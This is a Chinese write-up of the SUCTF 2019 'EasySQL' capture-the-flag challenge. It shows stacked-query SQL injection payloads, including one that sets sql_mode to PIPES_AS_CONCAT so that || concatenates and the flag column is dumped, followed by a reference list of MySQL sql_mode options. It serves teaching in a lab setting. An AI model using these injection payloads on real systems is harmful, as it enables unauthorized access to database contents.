[SUCTF 2019]EasySQL

之前看了看 

感觉和前面一题有点像 

不好做

进去就这样

 先判断是否存在sql
输入 1

输入 1'

 应该是存在 了

然后这里 试试 联合注入

 fuzz可以测出来 输个or 都不行

很大可能是用正则表达式过滤了 意味着常规操作 双写 大小写 注释 几乎都不行了

根据之前的题 这里就该用到堆叠注入了

payload : 1; show tables# 

查看

 存在一张Flag表

 查看下元素

payload: 1;show columns from Flag#

也是报nono  试了一下 它把Flag也过滤了

看别人wp 出现 了 一个 意外解答 *,1              咱们不知道源码的  不敢说 也不敢问  害怕~·

 只要 像这样的 都行*,1,2,3,4   

 可能源码里 有直接查的吧

select $_GET['query'] || flag from flag

怪不得  这句话是关键      就是把flag表中 flag字段全部dump出来  
这样没学啥东西  不行

常规操作为: 1;set sql_mode=PIPES_AS_CONCAT;select 1

在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接。

但在mysql 缺省不支持。需要调整mysql 的sql_mode模式:pipes_as_concat 来实现oracle 的一些功能。

意思就是要在mysql中调 sql_mode 查询模式   改成 pipes_as_concat 才能实现oracle 这样的拼接功能 

1代入语句就是

select 1;set sql_mode=PIPES_AS_CONCAT;select 1                    大概是设置完sql_mode后再进行查找 

 最后数字改成了5   也只是flag前面多了个5   

其实 设置完查询模式后  就能通过||实现拼接

这样 语句其实是                      select 1 || flag from flag  

把flag和 查询数字进行拼接 

主要致死点 : sql_mode的设置    这他妈  又不知道源码 鬼知道 源码里用||拼接的

1.sql_mode

sql_mode是一组语法校验规则

设置sql_mode
①命令:SET GLOBAL sql_mode=‘mode’;或者SET SESSION sql_mode=‘mode’;(mode替换为实际配置)。           不加global 也行
②修改my.sql,加入如下行(可替换为实际配置)
在这里插入图片描述

2 为防止 再碰到这种鬼题   

所以 sql_mode 都在这了:

常用sql_mode
①ONLY_FULL_GROUP_BY
对于GROUP BY聚合操作,如果在SELECT中的列,没有在GROUP BY中出现,那么这个SQL是不合法的,因为列不在GROUP BY从句中
②NO_AUTO_VALUE_ON_ZERO
该值影响自增长列的插入。默认设置下,插入0或NULL代表生成下一个自增长值。如果用户希望插入的值为0,而该列又是自增长的,那么这个选项就有用了。
③STRICT_TRANS_TABLES
如果一个值不能插入到一个事务中,则中断当前的操作,对非事务表不做限制
④NO_ZERO_IN_DATE
不允许日期和月份为零
⑤NO_ZERO_DATE
mysql数据库不允许插入零日期,插入零日期会抛出错误而不是警告
⑥ERROR_FOR_DIVISION_BY_ZERO
在insert或update过程中,如果数据被零除,则产生错误而非警告。如果未给出该模式,那么数据被零除时Mysql返回NULL
⑦NO_AUTO_CREATE_USER
禁止GRANT创建密码为空的用户
⑧NO_ENGINE_SUBSTITUTION
如果需要的存储引擎被禁用或未编译,那么抛出错误。不设置此值时,用默认的存储引擎替代,并抛出一个异常
⑨PIPES_AS_CONCAT                 //这题考点
将"||"视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似
⑩ANSI_QUOTES
不能用双引号来引用字符串,因为它被解释为识别符

原文地址:https://www.cnblogs.com/Sabia/p/14080623.html